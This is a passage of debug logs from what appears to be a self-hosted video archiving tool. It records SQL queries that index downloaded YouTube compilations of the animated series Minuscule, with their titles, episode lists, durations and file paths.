S02E07\n01:01:42 | Away all boarders! | S02E41\n01:05:25 | Zzz zzz | S02E44\n01:08:55 | Trapped | S02E64\n01:12:38 | The Vegetable Garden | S02E10\n01:16:23 | Rascals! | S02E38\n01:20:02 | The Monster Of The Haunted Swamp | S02E37\n01:23:33 | At Full Speed | S02E27\n01:27:16 | The Mosquito Of The Caribbean | S02E57\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #fly #hunting #pursuit #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation", "Hdt7fIPDP0Q", 5501, false, 5, "https://www.youtube.com/watch?v=Hdt7fIPDP0Q", "/downloads/Miniscule Season 2/2025-05-24 Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation/Spider Driver 🕷️ Minuscule 🕸️ 120' Compilation [Hdt7fIPDP0Q].mp4", false, ~U[2025-05-24 18:01:03Z]] 22:15:39.177 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.179 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-03 06:00:48Z], 5] 22:15:39.182 [debug] QUERY OK source="media_items" db=2.6ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Dream Of Speed | S03E24\n00:01:29 | A Candlelight Christmas | S03E20\n00:02:58 | Telecanetic | S03E19\n00:04:27 | Glue | S03E06\n00:06:04 | Like A Cannon Ball | S03E03\n00:07:33 | Webrizon | S03E02\n00:09:02 | At Full Speed | S03E22\n00:10:23 | Blunder | S03E26\n00:12:04 | Fly Swatter | S03E13\n00:13:33 | Broom's Sweep | S03E21\n00:15:02 | Ant On The Rocks | S03E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dream #speed #snail #awakening #candlelight #Christmas #mosquito #sting #Minuscule #nature #insects #ladybugs #animatedseries", "A Dream Of Speed | Minuscule 🍃 20' Compilation", "59217abf-2217-48dc-be7b-86f10dc5f3c2", "DvJa--G8oTo", 1012, false, 5, "https://www.youtube.com/watch?v=DvJa--G8oTo", 50, "/downloads/Miniscule Season 2/2025-06-03 A Dream Of Speed | Minuscule 🍃 20' Compilation/A Dream Of Speed | Minuscule 🍃 20' Compilation [DvJa--G8oTo].mp4", false, false, false, [], 1, ~U[2025-06-03 06:00:48Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Dream Of Speed | S03E24\n00:01:29 | A Candlelight Christmas | S03E20\n00:02:58 | Telecanetic | S03E19\n00:04:27 | Glue | S03E06\n00:06:04 | Like A Cannon Ball | S03E03\n00:07:33 | Webrizon | S03E02\n00:09:02 | At Full Speed | S03E22\n00:10:23 | Blunder | S03E26\n00:12:04 | Fly Swatter | S03E13\n00:13:33 | Broom's Sweep | S03E21\n00:15:02 | Ant On The Rocks | S03E17\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#dream #speed #snail #awakening #candlelight #Christmas #mosquito #sting #Minuscule #nature #insects #ladybugs #animatedseries", "A Dream Of Speed | Minuscule 🍃 20' Compilation", "DvJa--G8oTo", 1012, false, 5, "https://www.youtube.com/watch?v=DvJa--G8oTo", "/downloads/Miniscule Season 2/2025-06-03 A Dream Of Speed | Minuscule 🍃 20' Compilation/A Dream Of Speed | Minuscule 🍃 20' Compilation [DvJa--G8oTo].mp4", false, ~U[2025-06-03 06:00:48Z]] 22:15:39.183 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.184 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-13 06:00:49Z], 5] 22:15:39.190 [debug] QUERY OK source="media_items" db=4.6ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Chocolate Chase! | S02E19\n00:03:45 | Gather More to Pollinate More | S02E32\n00:07:31 | Trapped | S02E64\n00:11:13 | Top Tabasco | S02E70\n00:14:51 | Beehive On A Troll | S02E56\n00:18:21 | The Grocery Store Incident | S02E39\n00:21:52 | The Long Road | S02E34\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#chocolate #centipede #bees #wasps #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation", "8dc7cad1-f643-45e5-b913-813a7c9987da", "qwA42qr00U4", 1573, false, 5, "https://www.youtube.com/watch?v=qwA42qr00U4", 51, "/downloads/Miniscule Season 2/2025-05-13 The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation/The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation [qwA42qr00U4].mp4", false, false, false, [], 1, ~U[2025-05-13 06:00:49Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Chocolate Chase! | S02E19\n00:03:45 | Gather More to Pollinate More | S02E32\n00:07:31 | Trapped | S02E64\n00:11:13 | Top Tabasco | S02E70\n00:14:51 | Beehive On A Troll | S02E56\n00:18:21 | The Grocery Store Incident | S02E39\n00:21:52 | The Long Road | S02E34\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#chocolate #centipede #bees #wasps #gather #pollinate #productivity #competition #Minuscule #nature #insects #ladybugs #animatedseries", "The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation", "qwA42qr00U4", 1573, false, 5, "https://www.youtube.com/watch?v=qwA42qr00U4", "/downloads/Miniscule Season 2/2025-05-13 The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation/The Chocolate Chase! 🍫 Minuscule 🍃 35' Compilation [qwA42qr00U4].mp4", false, ~U[2025-05-13 06:00:49Z]] 22:15:39.191 [debug] QUERY OK source="sources" db=0.3ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.192 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-29 10:01:48Z], 5] 22:15:39.196 [debug] QUERY OK source="media_items" db=3.0ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:03:45 | Homeless | S02E02\n00:07:33 | Bzzaping | S02E03\n00:11:20 | The Stubborn Spider | S02E04\n00:15:05 | An Acorn Season | S02E05\n00:18:51 | Sausage Predator | S02E06\n00:22:36 | Microzilla | S02E07\n00:26:22 | Honey Fly | S02E08\n00:30:12 | Mission : BBQ | S02E09\n00:33:57 | The Vegetable Garden | S02E10\n00:37:42 | Thievish As A Magpie | S02E11\n00:41:27 | A Pathetic She'Nut'Igan | S02E12\n00:45:13 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:48:58 | Chewing gum rodeo | S02E14\n00:52:44 | Valentine's Day | S02E15\n00:56:29 | Acrobatics | S02E16\n01:00:15 | The Hat Of The Medusa | S02E17\n01:04:00 | Night of the Gastropods | S02E18\n01:07:46 | The Chocolate Chase! | S02E19\n01:11:31 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "The Wing Case | Minuscule 🍃 100' Compilation", "d1647e1e-40ec-46d2-89ea-31bdc339a9d2", "OEih9-JDEP8", 4527, false, 5, "https://www.youtube.com/watch?v=OEih9-JDEP8", 52, "/downloads/Miniscule Season 2/2025-05-29 The Wing Case | Minuscule 🍃 100' Compilation/The Wing Case | Minuscule 🍃 100' Compilation [OEih9-JDEP8].mp4", false, false, false, [], 1, ~U[2025-05-29 10:01:48Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:03:45 | Homeless | S02E02\n00:07:33 | Bzzaping | S02E03\n00:11:20 | The Stubborn Spider | S02E04\n00:15:05 | An Acorn Season | S02E05\n00:18:51 | Sausage Predator | S02E06\n00:22:36 | Microzilla | S02E07\n00:26:22 | Honey Fly | S02E08\n00:30:12 | Mission : BBQ | S02E09\n00:33:57 | The Vegetable Garden | S02E10\n00:37:42 | Thievish As A Magpie | S02E11\n00:41:27 | A Pathetic She'Nut'Igan | S02E12\n00:45:13 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:48:58 | Chewing gum rodeo | S02E14\n00:52:44 | Valentine's Day | S02E15\n00:56:29 | Acrobatics | S02E16\n01:00:15 | The Hat Of The Medusa | S02E17\n01:04:00 | Night of the Gastropods | S02E18\n01:07:46 | The Chocolate Chase! | S02E19\n01:11:31 | A Butterfly's Nightmare | S02E20\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "The Wing Case | Minuscule 🍃 100' Compilation", "OEih9-JDEP8", 4527, false, 5, "https://www.youtube.com/watch?v=OEih9-JDEP8", "/downloads/Miniscule Season 2/2025-05-29 The Wing Case | Minuscule 🍃 100' Compilation/The Wing Case | Minuscule 🍃 100' Compilation [OEih9-JDEP8].mp4", false, ~U[2025-05-29 10:01:48Z]] 22:15:39.197 [debug] QUERY OK source="sources" db=0.9ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.198 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-07 18:00:58Z], 5] 22:15:39.202 [debug] QUERY OK source="media_items" db=2.9ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Woopsy Daysies! | S02E47\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Sand Castle | S02E49\n00:10:42 | The Grocery Store Racketeer | S02E50\n00:14:17 | Snow Fly | S02E51\n00:17:42 | Ants On The Train | S02E52\n00:21:13 | Zzz In The Metro | S02E53\n00:24:49 | Go Blue Go! | S02E54\n00:28:30 | Black Slope For Gastropod Skiers | S02E55\n00:32:16 | Beehive On A Troll | S02E56\n00:35:46 | The Mosquito Of The Caribbean | S02E57\n00:39:32 | Turbo speed | S02E58\n00:42:56 | Snow Carrot | S02E59\n00:46:35 | Pollution | S02E60\n00:50:21 | Metamorphosis | S02E61\n00:53:51 | Ladybugland | S02E62\n00:57:19 | White As Snow | S02E63\n01:00:55 | Trapped | S02E64\n01:04:38 | Refrigerated | S02E65\n01:08:12 | Twelve Angry Snails | S02E66\n01:11:45 | It's a tie! | S02E67\n01:15:25 | Sleep Walker | S02E68\n01:18:50 | Labyrinth | S02E69\n01:22:35 | Top Tabasco | S02E70\n01:26:13 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #leaps #calculation #house #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Woopsy Daysies! | Minuscule 🍃 120' Compilation", "eb8e4804-bb8a-425a-bc26-c8fa966a83ad", "45oxcbI-NZ8", 5425, false, 5, "https://www.youtube.com/watch?v=45oxcbI-NZ8", 53, "/downloads/Miniscule Season 2/2025-06-07 Woopsy Daysies! | Minuscule 🍃 120' Compilation/Woopsy Daysies! | Minuscule 🍃 120' Compilation [45oxcbI-NZ8].mp4", false, false, false, [], 1, ~U[2025-06-07 18:00:58Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Woopsy Daysies! | S02E47\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Sand Castle | S02E49\n00:10:42 | The Grocery Store Racketeer | S02E50\n00:14:17 | Snow Fly | S02E51\n00:17:42 | Ants On The Train | S02E52\n00:21:13 | Zzz In The Metro | S02E53\n00:24:49 | Go Blue Go! | S02E54\n00:28:30 | Black Slope For Gastropod Skiers | S02E55\n00:32:16 | Beehive On A Troll | S02E56\n00:35:46 | The Mosquito Of The Caribbean | S02E57\n00:39:32 | Turbo speed | S02E58\n00:42:56 | Snow Carrot | S02E59\n00:46:35 | Pollution | S02E60\n00:50:21 | Metamorphosis | S02E61\n00:53:51 | Ladybugland | S02E62\n00:57:19 | White As Snow | S02E63\n01:00:55 | Trapped | S02E64\n01:04:38 | Refrigerated | S02E65\n01:08:12 | Twelve Angry Snails | S02E66\n01:11:45 | It's a tie! | S02E67\n01:15:25 | Sleep Walker | S02E68\n01:18:50 | Labyrinth | S02E69\n01:22:35 | Top Tabasco | S02E70\n01:26:13 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #leaps #calculation #house #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Woopsy Daysies! | Minuscule 🍃 120' Compilation", "45oxcbI-NZ8", 5425, false, 5, "https://www.youtube.com/watch?v=45oxcbI-NZ8", "/downloads/Miniscule Season 2/2025-06-07 Woopsy Daysies! | Minuscule 🍃 120' Compilation/Woopsy Daysies! | Minuscule 🍃 120' Compilation [45oxcbI-NZ8].mp4", false, ~U[2025-06-07 18:00:58Z]] 22:15:39.203 [debug] QUERY OK source="sources" db=0.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.205 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 18:00:47Z], 5] 22:15:39.208 [debug] QUERY OK source="media_items" db=2.4ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Ladybugland | S02E62\n00:10:43 | Refrigerated | S02E65\n00:14:17 | Spider from the Depths | S02E31\n00:17:52 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #summer #hat #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage⚡️Minuscule 🍃 30' Compilation", "6d54efec-69d7-4669-9236-2038922ff459", "gwZ-ik4BqbY", 1315, false, 5, "https://www.youtube.com/watch?v=gwZ-ik4BqbY", 54, "/downloads/Miniscule Season 2/2025-05-10 High voltage⚡️Minuscule 🍃 30' Compilation/High voltage⚡️Minuscule 🍃 30' Compilation [gwZ-ik4BqbY].mp4", false, false, false, [], 1, ~U[2025-05-10 18:00:47Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Ladybugland | S02E62\n00:10:43 | Refrigerated | S02E65\n00:14:17 | Spider from the Depths | S02E31\n00:17:52 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #summer #hat #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage⚡️Minuscule 🍃 30' Compilation", "gwZ-ik4BqbY", 1315, false, 5, "https://www.youtube.com/watch?v=gwZ-ik4BqbY", "/downloads/Miniscule Season 2/2025-05-10 High voltage⚡️Minuscule 🍃 30' Compilation/High voltage⚡️Minuscule 🍃 30' Compilation [gwZ-ik4BqbY].mp4", false, ~U[2025-05-10 18:00:47Z]] 22:15:39.209 [debug] QUERY OK source="sources" db=0.4ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.210 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-06 06:00:59Z], 5] 22:15:39.214 [debug] QUERY OK source="media_items" db=2.4ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pea In The Hand Is Worth... | S03E05\n00:01:32 | Sow The Wind And Reap The Storm | S03E11\n00:03:10 | The Doughnut | S03E16\n00:04:42 | Pea supper | S03E01\n00:06:11 | The Magic Fly | S03E15\n00:07:40 | The Sled and the Ant | S03E25\n00:09:09 | He Who Laughs Last, laughs Longest | S03E12\n00:10:38 | Chocolate Fly | S03E23\n00:12:07 | A Christmas 